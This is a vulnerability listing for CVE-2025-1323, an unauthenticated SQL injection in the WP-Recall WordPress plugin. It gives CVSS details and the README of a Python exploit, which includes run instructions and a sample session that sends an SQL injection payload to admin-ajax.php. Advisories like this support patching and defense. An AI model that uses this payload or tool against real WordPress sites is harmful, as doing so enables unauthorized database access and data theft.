Vulnerability Details
Basic Information
| Title | Exploit for SQL Injection in Plechevandrey Wp-Recall |
|---|---|
| Type | githubexploit |
| Published | 2025-05-03T23:06:41 |
| Last Seen | 2025-05-04T09:03:46 |
| CVSS Score | 9.8 (CRITICAL) |
CVSS v3 Details
| Attack Vector | NETWORK |
|---|---|
| Attack Complexity | LOW |
| Privileges Required | NONE |
| User Interaction | NONE |
| Scope | UNCHANGED |
| Confidentiality Impact | HIGH |
| Integrity Impact | HIGH |
| Availability Impact | HIGH |
CVE Information
| CVE IDs | CVE-2025-1323 |
|---|---|
| CWE | |
| Bulletin Family | exploit |
Description
# cve-2025-1323
WP-Recall Plugin SQL Injection
WP-Recall Plugin SQL Injection
## ⚠️ Legal Disclaimer
This tool is intended for **authorized security testing and educational use only**.
Do not use against systems without explicit permission. Misuse may be illegal.
## ✅ Requirements
– Python 3.x
– `requests` module
Install dependencies:
“`bash
pip install requests
python CVE-2025-1323.py
Enter target URL (e.g. https://target.com/wp-admin/admin-ajax.php): https://example.com/wp-admin/admin-ajax.php
Enter ajax_nonce value: 37c11b0c06
[*] Sending payload: ‘; SELECT user(); —
[+] Response received:
{“result”:”SQL error or leaked data here…”}
Impact Assessment
| Base Score | 9.8 |
|---|---|
| Severity | CRITICAL |